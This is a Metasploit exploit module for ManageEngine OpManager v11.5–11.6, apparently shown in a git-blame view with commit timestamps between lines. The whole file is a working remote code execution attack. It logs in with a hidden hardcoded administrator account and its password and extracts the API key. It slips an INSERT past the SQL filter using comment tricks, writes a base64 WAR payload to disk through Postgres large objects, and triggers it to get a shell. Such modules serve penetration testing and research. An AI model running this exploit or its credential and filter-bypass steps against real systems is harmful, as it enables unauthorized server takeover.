2015-09-15 00:24:32 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2015-09-16 16:31:15 +00:00
|
|
|
# It removes large object in database, shoudn't be a problem, but just in case....
|
|
|
|
Rank = ManualRanking
|
2015-09-15 00:24:32 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2015-09-16 16:41:23 +00:00
|
|
|
'Name' => 'ManageEngine OpManager Remote Code Execution',
|
2015-09-15 00:24:32 +00:00
|
|
|
'Description' => %q{
|
2015-09-16 16:41:23 +00:00
|
|
|
This module exploits a default credential vulnerability in ManageEngine OpManager, where a
|
|
|
|
default hidden account "IntegrationUser" with administrator privileges exists. The account
|
|
|
|
has a default password of "plugin" which can not be reset through the user interface. By
|
|
|
|
log-in and abusing the default administrator's SQL query functionality, it's possible to
|
|
|
|
write a WAR payload to disk and trigger an automatic deployment of this payload. This
|
|
|
|
module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
|
|
|
|
},
|
2015-09-15 00:24:32 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '38174' ],
|
2015-10-16 03:36:13 +00:00
|
|
|
[ 'CVE', '2015-7765' ], # Hardcoded password
|
|
|
|
[ 'CVE', '2015-7766' ], # SQL query bypass
|
|
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Sep/66' ],
|
|
|
|
[ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ]
|
2015-09-15 00:24:32 +00:00
|
|
|
],
|
|
|
|
'Platform' => ['java'],
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2015-09-16 18:19:16 +00:00
|
|
|
['ManageEngine OpManager v11.6', {}]
|
2015-09-15 00:24:32 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2015-09-16 16:41:23 +00:00
|
|
|
'DisclosureDate' => 'Sep 14 2015',
|
2015-09-15 00:24:32 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def uri
|
2015-09-16 16:26:15 +00:00
|
|
|
target_uri.path
|
2015-09-15 00:24:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
# Check version
|
|
|
|
vprint_status("#{peer} - Trying to detect ManageEngine OpManager")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2015-09-16 16:26:15 +00:00
|
|
|
'uri' => normalize_uri(uri, 'LoginPage.do')
|
2015-09-15 00:24:32 +00:00
|
|
|
})
|
|
|
|
|
2015-09-16 16:26:15 +00:00
|
|
|
unless res && res.code == 200
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/
|
2015-09-15 00:24:32 +00:00
|
|
|
version = $1
|
2015-09-16 16:26:15 +00:00
|
|
|
if Gem::Version.new(version) <= Gem::Version.new('11.6')
|
|
|
|
return Exploit::CheckCode::Appears
|
2015-09-15 00:24:32 +00:00
|
|
|
else
|
2015-09-16 16:26:15 +00:00
|
|
|
# Patch unknown
|
|
|
|
return Exploit::CheckCode::Detected
|
2015-09-15 00:24:32 +00:00
|
|
|
end
|
2015-09-16 16:26:15 +00:00
|
|
|
elsif res.body =~ /OpManager/
|
|
|
|
return Exploit::CheckCode::Detected
|
2015-09-15 00:24:32 +00:00
|
|
|
else
|
2015-09-16 16:26:15 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2015-09-15 00:24:32 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def sql_query( key, query )
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2015-09-16 16:31:15 +00:00
|
|
|
'uri' => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'),
|
2015-09-15 00:24:32 +00:00
|
|
|
'vars_get' => { 'apiKey' => key },
|
|
|
|
'vars_post' => { 'query' => query }
|
|
|
|
})
|
|
|
|
|
2015-09-16 16:31:15 +00:00
|
|
|
unless res && res.code == 200
|
2015-09-15 00:24:32 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Query was not succesful!")
|
|
|
|
end
|
|
|
|
|
2015-09-16 16:31:15 +00:00
|
|
|
res
|
2015-09-15 00:24:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("#{peer} - Access login page")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2015-09-16 16:31:15 +00:00
|
|
|
'uri' => normalize_uri(uri, 'jsp', 'Login.do'),
|
2015-09-15 00:24:32 +00:00
|
|
|
'vars_post' => {
|
|
|
|
'domainName' => 'NULL',
|
|
|
|
'authType' => 'localUserLogin',
|
|
|
|
'userName' => 'IntegrationUser', # Hidden user
|
|
|
|
'password' => 'plugin' # Password of hidden user
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if res && res.code == 302
|
|
|
|
redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "")
|
|
|
|
print_status("#{peer} - Location is [ #{redirect} ]")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Follow redirection process
|
|
|
|
print_status("#{peer} - Following redirection")
|
|
|
|
res = send_request_cgi({
|
2015-09-16 16:31:15 +00:00
|
|
|
'uri' => redirect,
|
2015-09-15 00:24:32 +00:00
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
|
|
|
|
if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
|
|
|
|
api_key = $1
|
|
|
|
print_status("#{peer} - Retrieved API key [ #{api_key} ]")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
|
|
|
|
end
|
|
|
|
|
|
|
|
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
|
|
|
|
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
|
|
|
|
war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/\n/, '')
|
|
|
|
|
|
|
|
print_status("#{peer} - Executing SQL queries")
|
|
|
|
|
|
|
|
# Remove large object in database, just in case it exists from previous exploit attempts
|
2015-09-16 16:31:15 +00:00
|
|
|
sql = 'SELECT lo_unlink(-1)'
|
|
|
|
sql_query(api_key, sql)
|
2015-09-15 00:24:32 +00:00
|
|
|
|
|
|
|
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
|
2015-09-16 16:31:15 +00:00
|
|
|
sql = 'SELECT lo_create(-1)'
|
2015-09-15 00:24:32 +00:00
|
|
|
result = sql_query(api_key, sql)
|
|
|
|
if result.body =~ /lo_create":([0-9]+)}/
|
2015-09-16 16:31:15 +00:00
|
|
|
lo_id = $1
|
2015-09-15 00:24:32 +00:00
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc.
|
2015-09-16 16:31:15 +00:00
|
|
|
sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))"
|
2015-09-15 00:24:32 +00:00
|
|
|
sql_query(api_key, sql)
|
|
|
|
|
|
|
|
# Export our large object id data into a WAR file
|
2015-09-16 16:31:15 +00:00
|
|
|
sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');"
|
2015-09-15 00:24:32 +00:00
|
|
|
sql_query(api_key, sql)
|
|
|
|
|
|
|
|
# Remove our large object in the database
|
2015-09-16 16:31:15 +00:00
|
|
|
sql = 'SELECT lo_unlink(-1)'
|
|
|
|
sql_query(api_key, sql)
|
2015-09-15 00:24:32 +00:00
|
|
|
|
|
|
|
register_file_for_cleanup("tomcat//webapps//#{app_base}.war")
|
|
|
|
register_file_for_cleanup("tomcat//webapps//#{app_base}")
|
|
|
|
|
2015-09-16 16:37:49 +00:00
|
|
|
10.times do
|
|
|
|
select(nil, nil, nil, 2)
|
|
|
|
|
|
|
|
# Now make a request to trigger the newly deployed war
|
|
|
|
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
# Failure. The request timed out or the server went away.
|
|
|
|
break if res.nil?
|
|
|
|
# Success! Triggered the payload, should have a shell incoming
|
|
|
|
break if res.code == 200
|
2015-09-15 00:24:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|